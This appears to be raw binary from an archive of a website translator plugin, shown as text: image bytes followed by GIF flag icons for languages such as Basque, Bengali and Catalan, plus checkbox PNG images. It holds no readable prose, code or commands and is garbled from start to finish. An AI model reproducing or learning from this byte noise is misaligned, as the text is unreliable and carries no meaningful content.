f89‡ñ47Lj­QéÈt—©·â$Æ&ˆÇdÛ–½šš©©Ÿ|â‰e˜K‘/äŠÛ¼˜H#©iÄU¹§ÃWS\ðÃÔ­E¤V1VŠƒÝH\o5LûŽ_¥:¼ÿ(^xÿ_âýøÂ¦žäNNÀÓ1ÊO߬«ïîéðñä8¹ñì0ž.]w²âµX2ªšaNN Ç6 —©oÃ+¢áä:Ÿ–ôÛ­F×Ñgð¯Þ3ÍÝ{IO“ž&=Mä(Í‚­HE–¦0VªÅ]Ob\¾SUv6•Ó b KŽ“O2.sqŠeÂ5%ËÉã¯nËà†cw³«êI¥õ¬˜zœ{m`-iî“Ôù6ˆæî½øø±Ð~èqŒ¿îÇ[¿þå¦ÜW­R·¶>—¹C?†þ²\“ÁÆûY5£¢è|Tî‹0lVK}täd#'ƒ›vBj-ì¿ç> =ìDZC§HO“ž&=M›á(X'ÆÓ|€xö®g.­k%ÉeîG«öÿÿp'ìY§äxìõ¬ŽÉŸ¡úÄmW{öžv_í¬71Î*8וüÅ’ã:ŸV4ŠØñæµ$ËÉ+Åh5zŒœ 6¤ HmxÃÉzÌ€røyœzhþüºKÖbì&Ž:…/vý5þûë_ÆOÞŒ4ý~­ÚÚññ˜s‰ :Ÿ†Û2ÈC6ØYµÆgov›¦VZ`Èáǰ3€Ùø/ãøÐA†~ÜûŽC¤§IO“žÞ!0ٟ׶^Õ#†V£Ç°3 Rów- o<毺Ú%db–ó7êªkŽKàºÊÔ[WMå͈IÜʰ҇‰l´jÉÃF NàÊß~K±Ù3Dj˜€Ø˜/äpîµdWÓ˜‹k:ms3qݼÜa89“ÁÖ”øb¦`ëQVÛÃ^Ÿì''0½ø üêöjSî#èÚ èÚjÖ‰¬¿³6ñŒ4L#‘½‡Ñ ‡ñtEÄ’ ­‚“—sT2ÂäaĮ”£«!>:²4“Á·ežŽ;W™fo‹}öÏíú2’¤§IO菉LögãíÏ=n$V=£šwUÏ ~¬TA.4‚sUT)#²4…ÙøXÙ?6pê© ¡Õèye§mn5<£|Ü… ÿ–'Êî6Ü–A|©+Ô”ÐAׯû×Ë Õõ¢UpJŒ[­FA×&ióHjùBŽï6ˆé¶ KV[/–ú³üDWAׯcÕ幬?ˆŸƒ•gÌrUûKšnfþJ;t _ê Q­yÒÓ¤§w“@ögsh莂<¶±Xy«¥XD±GT-ÉNÚ(}Š]ï \£WEª•p£ª› kâa#Ç+xÚÅj1‘ÔLÍÊÔd°óºØ³ñ±†¶ÙH†~`Ëøë~ÅâõÂÆ«Ãènj"ÞV¦UkÄ=ú5\Kÿ þúGº¡Üq¸ÆšNœ¨©ÒKÍË…å|š÷Ã9QO¾Ã…+^Œœ bÈáG·Õ‹å|­ÚâÎ…N£Gh~±ôwc´Gà2÷ãü/sÃŒ=×xÌ_f¬…0°—°ûø®û~-ýn3;åì¿ç>x:Fqâþ“Â$=Mzz‡-æýÙû³¡Ž‚X ‘¥)IõŽD¶”„'8a2ØjÞ¶‘wøX&Ì·ØÝ–A„æÏß‘†ZΧ7¥.2QûJ ´nÙSå ¥˜€Yšª«Vx·mñRÜßøëþ†Õ—oäŠÊ°3ÐðZóbCñévß®ïkÇÛžÄCChþ<¾—š­ëo•N‰ ''YšVl³åü²’ ®xá2÷£ópt=b™0"©™2c>µ²ˆs¯  óði^©¸í^þÝñ˜‘ÔŒ$®—…H(M†Ìq™úD–Ô¿ŸÈFyµ&ñ5‚Q<¾²Ïäòj„!õ¨©žŽQìÓ …IzšôôƒìÏæÑPGA,P–¬¤4aÔ7%.V¬~7”ËÔwÇŠØZ\-õ7–ÔYËàg^y=áC?ν6€ÔÊ"fãcMKH[/VÁ OÇhCÆEv5—|•{Èáßµ» röiàS¿„®£Ïà[?<‡ŸÝúqMWo»ˆOó¬å÷JmÈ øjÔ«›ó…\Í×V+¡Y©¼æz䥄É`Ç@çqôÞcÔqIO“žÞ¡ý¹Mé@8¾áD yé´«©ijQ>èµ=/íFì,ªÀZø†¸|­±ƒ‡O¯ë¨{qõŠprVáxݵ¾‹ŠL½>wѸ±­{rs[‘È^«ùÀ"%9³ "âwÞ¹ Õ8zï1¼pê/ñw?ûßøN"ˆå|†„²E¸÷‡Ðcû,à£$ ÒÓ¤§wdnaGA\ó˜ex×[FJ®$ì æÙ­yu½ä(ì@*Õç–Ã’ãL{ÍJÒmD$5Í“åêQ®âêã±âêM½q°•ês7‚!G±ªC-[ÛJrÖjôpÝè<Ü%99•Pæñ>Š÷áäþæþ+ò·ß"¡Ü!´-ûñä»? ·epלFzšôôn×Ód6»>÷mÇïu±nÛpY æ|!‡x6Šë7/+ž Z‰ÏÌð†Çœ9ŒnIÖúW.öVÌògS;¤¥ÚÊSTÅZÈUåÙèj_ïýÍJ±Œ§Ûoárò[¸øÓoâíÂ-È&±Osg|]–g mÙO!ˆ-Îzì0²?7ßþlèŽÂ\|¬” g/óxF7<í>\,m#Vk0–UÎg©‹‡Šå«6;±Ød°«4“ÈF«nDZ3ѶìLJ¬ŸÛ2€Ëo| ûÿ9 Mvþå¿ø$ºŽ>ƒ½-:AìBÈþlžý¹§Ñ/pîÕÌÆÇ‚úXKI‡ñ %}AöçNtL;ßÖq™z1Jtmè¶­%(dÂJY‰=Àj‡¹DRm¼¡]ñçžÈGq'iÕ¹ÓPøÍ¯°˜ý~òæUüè¯áÍ·—¶ýû ºûÑy¸ | váQ: ²?wº£àéX󼬂#'È®¦±œOC«Ñ—ˆøòB@Õ#\k„™ª÷eÂ’$—©·¦†ªt€Y-uh­‚³ê!h³¥ì{‚ ˆõ¢¹{/Ž:…c‡NÁÓ1Š·~ýKüô—בý»ýÛÂÖdöh`¹¯“ÿ{ð¾Nì¿ç>jX‚ ÈþÜögÃ…ñ˜C¿$;\е)Æ{ÇüŠñbnË€Äã«EàìhmVªÊeîGh!°îc» ‚ ¶2û﹇»Ðy¸‹ÿîg·~ŒÔ­E¼¹º„›o½_¼ý¸‘ûé¦?Ûýƒ8´ï]8¼ÿ(êÌ0°ãï¡F#¢iýÙ\æ(dWÓ¸pÅ —¹‡»k\Ç2a„““Š ÀÊU1æÁšïNNJ¼A·eVò ‚Ø5÷mÇïšuq±wGy£Ú6AAÄvá¹™Gšvm²?GSË£RãAA› ÙŸc‰€ ‚ ‚ r‚ ‚ ‚ G ‚ ‚ r‚ ‚ ‚ G ‚ ‚ ˆfÐB" 6JjeùB­ÚµNR+‹Ð¶èËÆÏž¸pÅ[¦ GN:š”Ýû ® ]›ä3†§Ã“fMÙ«}çzæ.&'`2Ø‘/äͧ1äðóC`BóçIMó‰#µ²ˆ3–A.«Ð|©•E¼tf¦l"8÷ê@éˆúòa˜ŒzlÃüZ×3—Ï^“´k£ìjñÙd4ƒU8^ÑQË2µâ+{v5¹‰ß›Ée¸Ôž®x%“¥É`ƒ§ÃÎ/_ù»^MMs™³÷tÝrøË>—©‚®_ò>Ìpß+µ²È¿Ç Ž!‡Ÿ?7{ßÔŠ#'ƒü>Jíã¯û¹¢Óèñt»OÒÎòþ+~öl®x1äðóAÅc+»šF$5Sf ™ 68Œ§qáŠW26ØxTBÜfò~*–‹R”ËPnØ(õÖnž’LØ=”úFdi ¡…—w"…§cnË ê˜g²Uzç¯E¼È®¦ñõÞ”Ýw9Ÿ†¶E‘“Ah5úué1ã1?7S+‹¼ßÌÅÇx_M­,ÂÓîãmœ/äpኩ•EIß''pýæ%.ÛWr¿ÙxPq‘ÁÓáòèpö잟¢Ã ¤»˜>Qg‘ÔŒêýÅúT,yßVzŽpr‚·cv5¯E¼Ð¶ˆÛ#ˆÔÊ"BóX…ãÍpö“ü>­Ú#Š âvÏrÈßÎáév×ßâ1#oG—©žŽÑŠsÉgj÷ëÐ|€¿Wh¾xú/ëò¹°R›ËeNä(M„(7R·k¾Æ…+^h5z¼xf†+åpr¢Ì˜Hd£üˆv¥kÁÓáS4†\¦>þü_¹Ø‹pržŽÑ²ÏÔPúÎõÌ%‰ñ4óc.„ÃèæíÙS“’Uÿ W¼À¯•/äZpƒ”]G f”Êe×mF·h<÷ê?ª>õÁtÀ—©W"›j»bY²kj5z¸-ƒª2aï-v~æâcÜ b ÚÊadiJb0…Š«eìsñ1ÌÆÇ¸ü*³ì}²«i|åb/b™°¤Ÿ¿îç@"Å…+^¸-HÝZ”8tã1?BóŒœ ª¶“Ù‹gf*:dµ0óÃtÀ^ÖN.s?\æ~þ¬âöª§¶xÑшcØ€Up"œœ@hþ<ºmÃ’>«¶2Ï é|!‡s¯ÀÓ1 «p¼üyEý%_ÈáÜke‹ò¶‹eÂù%,†N$oµ1ÏdÇôë/ÌqÃîËd)^Í_NaÏYšÂù^æNÇ\<ˆ§Û}'†9Bbã1«°:ŸZ‰£ÛêU5¬ÅÎ¥øÿ³«iœ{m€÷m±l.\ñ–-T°1,v†ó…Ve;Bò¶bÏ%¿¿Ò¸Hd£tm˜KUß'²4…prB2~æA´jÛøµ™ÜÀa1#!4(/Õ¡gÏÎ&e5¹…“p™ú$†G·m¸,l€ýã0º1—òvc÷’¿«¸ij×$Ÿ‹?“‡²0تŸNfÜ{:|è)õKö>Ú=®ß¼,YUî<ÜÅŸ]­=Øçs‰ _\/ÌÈT{Ÿ¢Õè¹á’ÈFË\ZsowΈÆ?3Âν6€Ùx_¾ØËWÁ‹ÆÐ4"KÓUïé¶ "– KÆœ¼o„“E£M<F·ÌáUó¬MX?Êr¸˜œP[ìïc™KÐjô’²õèvÿ³X3YhÊõ›—¬…¡8Œn¾+”ͧa:`—,ˆŸñúÍËF}ˆ,MÕܾ×o^B¾ã}›K«—ë^1l ‹û´V# ««eœ©NO†~dWÓŠc#µ²ÈPÄmË„aŽóÿï<|ñì5X…ãˆe.!4&Cq*‘½¦(G5Ü–Ah5z„““’ß³vù‹N@ËZ¸¤ÚÜ–ZY䟉uŸËÜAׯw_jŸÌa&ˆfB; Ɖ «Oc.^4]澊ß»J1±‘¥iþ¬âí×Hi»–­€Š±¡ËBUäÌ–V®H¶ŠÙŠ+ÛVf«>yÃíDD†‘É`C«ö_¡wSL›$”h͘å“­šc–ÈFùÊ’§c”OübçÌm„Û2ˆ¹øâÙk|7¢²³`“jrÓUé+â69é=ÓBó„“xÌÔ‡Ùø<£ˆe.©ö¶¡ô ];P,ÌÅm,3Å»'¡…ŸÔWeÆ¡t5[¹=XsO#µ¯úS‰‘“A\¸â-®vžšlê8Ÿ‘ÈFy?fN»Ü™L­Äaœxº${­FO‡¯lg£Z’c¥¾QM÷¨ù¢ÑæÅx¬¸SZ@§ÑÃm(3NÙ}—ói¸L}’6^N 1¬Çc~¬rp[p]ÖŸÅïg2%ã¹Ç6ŒûK2ù±œ¿Qu'”é"%9²ç[VXpÑÉvR+qÉŠu¥qVíY"KSrøùbF89Y–WŒv—¹_bTçUÆ¢µµœOÃa<±Òª}1|ÊVó¸3ìe‹EZ^gsñ Bóçš?!‡ŸËOIß±çTú¬UÛVׂÔË ²ùˆ,Mñ1Cä([ÎAÈ®¦×B!þ{« ®œ™‘|áŠW®£ô=ÆœÈx¯ +M VÁ‰ÎÃ]F}è¶z¥«<5„ÉãH× ÿ6ô”Œ«àä«p‚®MuÇC¾úÜcÆ—/örcbÈá—¬Ü×kèÉW\+iõ+…ZU’›V£W|o¹á«†§Ã‡±¨©•8¬‚³´ê|IµÄ2aZ¥ÔGĸÌ}|åVÍ!eŽË{àm)šØk™ä‹†ó(ï{‘¥i$²×$í¢d³k‹CµØ;]¸âU j#'ƒ\¦âøx¥vš‹q vžƒRo’¿«¼ít%Ç®•“â.Ø$B >R©Oæ 9Œ¾ÒAׯ ÿõè1ã1?b™0呇mÖj4ŠÇZ"{­f¿U{DQ‡3¹Þ/ÓrÝå2÷!œœ”ìbÔ’¯¢Ókáä$"©,çÓHdÓ’g -óªb™Kˆe.ñüƒ¡‡ýåIÄ¢çtmÈßÎq§<õáévÂÉIdWÓUwÁÙ.‰ÜácýÈat#»šÆË „““zد:·±]¥ÏXŽƒšXΧÑyø´äwL±JT&š…ë‚…Ï£>¾JRTâášWhF7B >1±U%9C?­ô^BÐ)&OvŒb<æoX‡V£ç«Y,¦(nëG–¦$r ''Ë„Ñmó–]£Ç6ÌWÚÖ; Ä2a$²Q¾ÊÛHÂɉâê}‡¯ªCYš’´odiªæö´ NØ'â¥DÇj,WqJäÎQ·m6Á©ØÇX|ºØI(Ž^IˆE$5SÕè`¡⟭¢  6¡Õèùj}¾C$5«à,ëÌ0ËæÓ oÛÔÊ"F_éâÏ»œ¿QSô:8{jr]á'‰l‘Ô4zdaiåÆq1ñXvQïý<ÅP¥]¤2G­ùVÓ)ùB®ÌI`Fg1Ä¥¨+®¦¦!èÚ*>›8D(_ÈáúÍK’œJw(íù%:|üu?×Ï™—t—8ôOÛ²¿!}-’š†ËÜ_ óór}'^é¶ ý›·˜°­mƒËÜWü¯©‘R8,“‰ËÔ»&ï×ýð´ûøÎÛ­¦'X>ÓÅòÏÂÉ ä 9¶Šs› kƒËܹDPòëÇâ<¯Hjš;‹,Ïa<­8?ºÌýM A$ÚQ ÖmÁÄ\"ˆÑWºøïF7l¥‰M–£T¹†­³>y°+®ì±$ÇõÍòWùª([¡‡qÌÊv&Ö"b2ØÑcFhþ<¬Âq¸Ìý%#°¸²%–ҵݖÁš¶ÈÅ»(żƒbÕœ|!‡—p[ËVÝ\æ~Ì–BŒêYËÒat—=»’ÜÜ–Ah[öóØ|nh”*ÿàɆ•úK6¯¾ƒ•ÈFù5X¬³É`ÇõÌ%ÉgÌq‘ïz 9ü|Gœ ÈÞW| 69÷؆yÿeÕz*µGêÖ"æA¾RZLðu–­Ü—*‡±k¸Ìý’P*%ga½» â¿ËÅd°ãL©‚3†˜£Äœ'Æs3”B:f¸3È pVT©’‹¼¿˜ vI¥ñõå}ƒUw·¹8†¾Ú˜g¹‚V}G”]›åNˆW•ëÕ)Lg…“Üh<÷êöÏÌ`ÈáÇË ¾B,î‡b<7ózlÃè4žæºD«ÑÃeêS\ùVÓá#'ƒ-x>‰V£ÇÙ{Šõ… k+îÄ”‚™á«4ÕÆY™“°4…ìj_pI«5± âbr‚;‚NZ.”Uòbm“ÍßÀè+]\.s?¯>Ät/k&w¶ú_©ÝF·¤ýÄÎ#Ë`ý’í UšÛ†~ÌÅÇŒúÖB4Íý’s攜{m€=o©¨€l\n$—Ž Ô¸ësßvüŽÄ°õ©´ÝOA±;•ÄÖ…B‚ ‚ ‚ G ‚ ‚ r‚ ‚ ‚Xÿ¡“@û¿×FIEND®B`‚PK.—[䀴55+google-website-translator/images/Basque.gifnu„[µü¤GIF89a÷ÿÿÿ‰Î©˜H˜I ™K —I G šMœO?¯rF²wG²wI³xMµ|[»†gÀi¿qÄ—rÅ—rÄ—Ë£‰Î¨”G™NE¬qP³{w—†É£‹Î¨”KV°zq»Ž •MŽF!ŽGXªu%‹F$‚Cm±ƒ+†C}µŒ6‰JšÆ¥j¦wck޵’;|?qšpAy>K{BMq?’ªˆ€›sQs=ˆ”nbl<_h;–|—œ|ng;»´ rb8´¨‘}d>ž‹o }b¥~d¼žŠŠT2\<´€k›Q5Ã’€–L3£I0ªH1¾zh¥F2É‚tËt¼<,¾B4Ù”‹ß¢šÈ4'É?2ÐeZÝ…Ï7-àjdÞkdäuoä€{Ý)$Ý+&Ú,&Ý-(Þ/*Ó0(Ö1)ß3.Ñ1,ß61Ñ2.Þ83Þ84Ò51Ò61Ç5.à;6Ô95Ô:6Õ=8Ö?:ßOJáVRàVRåZVâZVã]Yçhdéroèurê}z솃횗Ý)%Î1.ÞPMàROãYVçfcæfcë€~ë…ƒøøøöööôôôíííÿÿÿ!ù,ÿ1¸¡¥Áƒ<Ø„D£¬ â§bÅ„,úùÓ£ƒ€C8L°¢>}aLÙ‹ *À 4%„›4ºðáƒqg7#üÀCç’ž€¢#—IœxrèΠ=† ùàÀ† YtuPc‹¡=uæä±ÃöJ p1ÂÍ „­<‚aÜË·oÂDŠü æ«hÑàÃÅq#¦q"cŒìIc1nä¼Q& “BóÀX"td¤³æ ±ä Æ16d@å 3V^ £ @y)raø#h”„H2ØË`Ì.Eõ38`ÂI óç©G¨MŽñ;PK.—[É£öî/google-website-translator/images/Belarusian.gifnu„[µü¤GIF89aæÿÿÿæ^aíï’î”–öÃÄõÂÃõÃÄÞ#)Þ%+Þ'-à/5à38à6<Ö49×8>Ú>CãAFãBGÝBGÞFKàLPåOSæPUåPUâOTäSYãSWæVZæX\äW[æY]æ\`ç_céiméjnèmpêtxêuxêuyìx}ëy}ë}€Ûuxì‚ë~ë~‚샇퇊î‰ï“–î’•î“–ï—šð™œð ¢ð £ð¡£ñ¦¨ñ¦©ò¯²ôµ·õ½¿öÀÂõÀÂöÄÆöÈÊùØÙùÙÚûÜÝúÜÝóÖ×îÒÓúÞßöÛÜéÐÑúàáðרûãäûäåûåæéHRéÁÃöÒÔûæçûèéüêëúèéàs{ò‡ò‹“ò•üîï\²'_´+Y§)cµ1^ª/e¶3g¸6g°:^³)a´-[¨+f·3a¬2i¸8d®6ñÔÔûââèÒÒõßßìØØëÙÙüîîüïïÿÿÿ!ùu,Þ€u89Wˆ‰Š‹uPBs5”•–— V?t-+.--  ¢¡.§XA?]'&'(±²'µ(··0T32G$#$ÂÃÄÄ*K:7n!ÏÐÑÑ%p@QÜÝÞÞ"H;J  HPAI^¤(’ ¡Ã‡0x0eƒ”!g2jÜÈñÌš2qpyòÅÌ—“(S¦$ÃF-UÌx1C³¦M›iÔ0‰¡¥É˜0c‚ JTLYÞ ƒ¦©Ó§Pë;PK.—[VQ¨II,google-website-translator/images/Bengali.gifnu„[µü¤GIF89aç’ã3ä3ò5ç5â 5ç5Ð&4ô7â#7ç#9è#9â%9¶36æ%;ã&;å&;â';¬87Ñ-9€I7|K7‰I:€M;2h73h7 u8u8u8w;{8|8|:}8y:{:z>z?x<>n@: ~<€8=o@{< =z? €<{?}A}C€?@‚?A „=ƒ@åBT€EéATæBT …=èBTƒDG…@…A…F…F„J!„J‡H#†NˆK%‡O"‰N)‰RëO`èP`+ŠTÛU`W€X.VVX0Y2‘[0’Y6‘]öWk0”Y6“^é^k:•`:–b?—dK”eL”e?˜e¬wn?™e¥zn@šf?›eBšhöewFœkîiwìjwFkGlÕtxIŸmÎwyM¡qP¢rM¥qñt‚òt‚æx‚æy‚j£{[¨|·Œƒµ„e¦|[ª|^ªs«…g¯†o­†g±†k±‰§‘§~¯~¯Žq´r´r´Žrµr¶Žr·Žw·’½š‚½›‰Á¡‰Â¡ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!ù ÿ,þÿ±H° AƒÿÖ@ZÈR¤‡‘JtcæQ¢C‰)bdh¡BŒa¼x‘#4`ýY;sèÔÉã'ÐÊ›Ìp„Ÿ=oΤQ£&Í™6wøôì)¨K–>pàÈsE‹Õ«WÂȉµÏ*qÄ”ñò„I“³h™<ùRFŒÛ8V¢©‚EJ8òêÝ¡ –*€ÉLY¢¤F@XÌØAAjHVâä4^HP° ³çZÐAI"FX°°aá‚×°Tà¡Zµ‘"9† @ábE( €A »w ùÃLJç'DP0 € !N<ßî#ƈÂ'wðBà R€/¾ 3âËŸqóósø—¡¿ÿÿøO@;PK.—[ø½/|ss,google-website-translator/images/Bosnian.gifnu„[µü¤GIF89açàp z r z ktuu{t www u p x w x yqs yysy{z{z{{u€{|u{|| x ~"x#€${&|& %‚(‚(‚)~"(… )ƒ$(…!+"-…#.%/‚)2„00…00Œ*3‰.3-3‰,4Š+5†.6ˆ09‰09Œ2;Ž2=‹6>6?Ž9>?B’:D‘F”?G”?H“@H•BJ–EI™BK–CK—DK—MM–FO˜MM›IPšIQ›MT˜MVPVOWžc]BUY¡[^¡Za›Za£[c¥]d¥`c§`e§^f¦`g§bg¨gg¦gh¨cj©fk©hm«ip¬uAks®or°„yL„zDwz²Œ€Aw}´w~´x~´’†C’†D}‚¶~ƒ·‚„·‰‰º‰‰»‡Š½žD‹¿¡—^”Á”Á—›Åª¡iœ È¶¬r­°Ñ¾´}­±Òöh³¶Õ´¸ÍÅ»…µ¸Ö¶º×¹½ÙÍÅÂÅÝÕΟÊÍâÌÎãùÛùÛùÜùÜ ûÜùÜ#ûÝûÝüÝüÝúÝ üÝùÝ%üÝùÝ(ùÝ+þÞùß0ÕØèÖØèûà<ûá<ÿåüâ;ÿæûâJÿçûãJûãKÿéÿèÿèýäIûäQüäQýåQûåWûåYüæWýæWûçeûçgüçeÿë7ýèdüèpÿìFüépûétýêoÿíMüêzüê{üê€ÿîSåæðýëyÿï`üì‰üíýíÿðmýîÿòwììôÿôóôøôõùÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!ù ÿ,þÿQzƒ† $g¾z)\Ȱׯ^ÿ´Šô-’ Lݰ]Ûȱ£¶k[¨:´ Ñ ;—¶=ƒ¶’%4–ϨYÃòDO6‰¼-j3)Û²d@ƒmM “9eÄäÁô‡ÎGÕŒ›J•2fP’¤éÒåË?Ü ea$M°³h‡crÄË“'N–±'ÌEÊnÕÚ»—W0$C¢\Ä5Óöô0t,¬Ç°fá"²‡‰Ë&F\ÉŠ „v™úD:U+!9btXía‡ ¬¼rƒ .P:Z¥cÆ ÀƒOhà£R!øØÅ©”ª-XH˜N] ”¸R3,Q¤PQ¹H¡‚ùóæñ¨ ƒvh± µD‰øóç7Mf G.ŸP&¨ dPC#UÀ Bž`ðf¨a†ðƒ$c(Æ?;PK.—[W¬¦Ogg.google-website-translator/images/Bulgarian.gifnu„[µü¤GIF89aÕÿÿÿÐ#'Ý#Ý$Ý%Ý!&Í$Ð#(ß',ß(-Ñ%+Ñ&,ß*/ß*0Ò)/Þ,1Þ-2Ò+1Ô.3Ô/4#™]#˜]%™^'›`/žf3Ÿh6¢k3˜e4™g7œh8œi;Ÿl?¢p> nB¨tB£sD¥sF¦uH¨wL©zP¯P®~P­~^³ˆ_´‰mº“þþþýýýüüüÿÿÿ!ù2,„@Y`H,£rùZ:‰/Øó ‹M±“‹Åíz¿]ªÔR™ÏæzÝ2…R£¸|N—§H  fÏïûù"…†‡ˆ†“”›œžœ ¦§ª¥©¦ ´µ¶·µ  ½¾¿ÀÀ2ÅÆÇÈÈ2A;PK.—[‹©òf——,google-website-translator/images/Burmese.gifnu„[µü¤GIF89aæÿÿÿÌ5?é>Jê"3ê$5ë*;í.?ë->è/=è0>ë3Cè2@ë4Cè3AÛ1@Û2@ì7Gë7FÜ4Cî9Iì9IÝ5Dà8Gé>KÝ=KÝ?LíHVíJWïR_ïUbñXfò[iò{…ó~ˆûÒÕûÓÖüÛÞì&9à8HýÞâýÿÿüþþ…Ó‘ŠÕ”wÎR¼]T½_V¿`YÀc]ÄhiÉskÉu+µ/;µ;=µ=J³JNµNO¶OV¿VT¸TY¼YfÆf‚Òƒ„Ò…Ú Û ÈëÈÇêÇøüøúýúüþüûýû:´9>¶<>¶=@·?A·@B·AIºHL»KK´JO¼NS·RW¿VW»VZÀYhÇggÄfžÌ’¢Ï–ùùçúúéüÕ:üÖ?ü×BþÙFþÚGÿß[þàgÿâkþâqþârþãwþå‚þç‰þèŠÿñºý×BýØGþÙIÿÝ[þßgþæ‰ÿñ¾þõõþööÿÿÿ!ùu,ô€uaƒ„…††u`q‹ŒŽ‹i‹nlhf–fe—š—™fhm^gc£¤cpijp¥¤g_]db±²bokro³²d^0-3¿À¿[\ÁÁ-1.42ËÌ2+*),ÍÌ4/UXVVT>DGEHHEGCW;ÙX=SRNîJMAFááHBN7îNR<9PLþ H &6BÑãÉ’‡³Ôò0 Ä'Q2`pÀу%èˆ1… Ðp—L| á#@˜€y€Â‰ E``C…B Tà``(‚H˜JµAª,À:B`Ê;¶N ;PK.—[²DÈÛ}},google-website-translator/images/Catalan.gifnu„[µü¤GIF89aÕÿÿÿêzê{€ìŠŽÛ Ü&Ü(Î%Î&Ý)Ý *Ï(Ï )Þ(2Þ+6Õ,5Õ.7Ö08Ö2;Ý>GÝ@IÞBJßENãJRãNUäPYãQYåT\æW_æYaègn쉎î–üÞüÞêÎêÎüßüàüßüß íÓíÓîÕ"îÕ$üá*óÛ/óÛ2üä7õÝ5õÞ6ùâAûãEùãEüæFûäIýçMýéaýëmýëqýí}ÿÿÿ!ù>,š@_nH,>MhÉl:œ a  V©Ø¬` ÚÔz»°xL÷p4žnÍn»Ù<›åÓ©ÛïxûçBñ`þ€‚€271‰Š‹ŒŠ73/.&“”•–”.0žŸ ž§¨©ª¨,)#±²³´²(-*'"»¼½¾¼'+ ÅÆÇÈÆ  ÎÏÐÑÑ >$$%×ÖÖ%ÜÚÛÖ>A;PK.—["¨í!!,google-website-translator/images/Cebuano.gifnu„[µü¤GIF89aç€66„77‡ç"<<ˆ×)ç&@@‹?AØ.ç,Ø .CCŽØ!/ç.è.EEŽEEè/FF‘Ù$3è 0è"2HH‘Ú'5è$4JJ’è&6LL“LL”è(8MM“é(8Ü,:è)8é)8OO–é+;PP–Ý0>é-=SS—é0@TT˜ß5Cé3Aê4Bà9Gë7F[[šä>L__ `` ì@Occ¡gg¡kk§ll§ppªrr©îXdvv­ww­||°††¶‡‡¶‰‰¸‹‹¹ñs~»‘‘¼””¾¥¥Èõ–°°Ð÷­´úÐÃÜÞÊûØÜÿïãâæââîîèœÿñ'ÿã¸ÿò1ÿò8ÿömïïçïïöÿ÷zðððýíîñññóóóøõÓôôôöõêÿù¨ÿú°ööúÿû¾ÿûÆÿûÇÿûÊÿûËþ÷øùùùÿüÏûûûÿýÝÿýÞÿýàÿýáÿýåüüüþýóÿþíýýýÿþðÿþóÿþõÿþöÿþ÷ÿþúÿÿúÿÿûÿÿüÿÿýÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!ù ÿ,þÿe°À¡ Áƒ þ#ó¤H"#JœqÄœ=P€èàÁ£GŽ?zäÈãdž:€ab㎗0cÂôaANJ;cŒÀ1£§ÏŸ=s<`Ç>oŽx(¢©Ó§(jP'Œ•0p%Yp‚ׯ`U ð‚¦ •*fÞÜa ­Û·$ãFŠ)mîЙò¡¯ß¿^ÄørM–5e)ÑÀ¸±cÆ-\tÁóGLŸ;HDÀÀ¹³g )VpI©'Í*¨^ÍZõ ZRnÙ! …Û¸sã&âJž&48N¼¸q¢,aÑ D‡çУKï0á hßν»ö;PK.—[&Ka¬^^4google-website-translator/images/checkbox_parent.pngnu„[µü¤‰PNG  IHDR ªzu½%IDAT8ËcسgÏ" `TñˆRÌHJBbMu£Š©¡¿Í ËÙÁIEND®B`‚PK.—[Îá­øø-google-website-translator/images/checkbox.pngnu„[µü¤‰PNG  IHDRd@°¶¿IDATXÃíØ1 „0п"¹Eº çð´9ƒ]¼BÎ`3·ÊVÊš 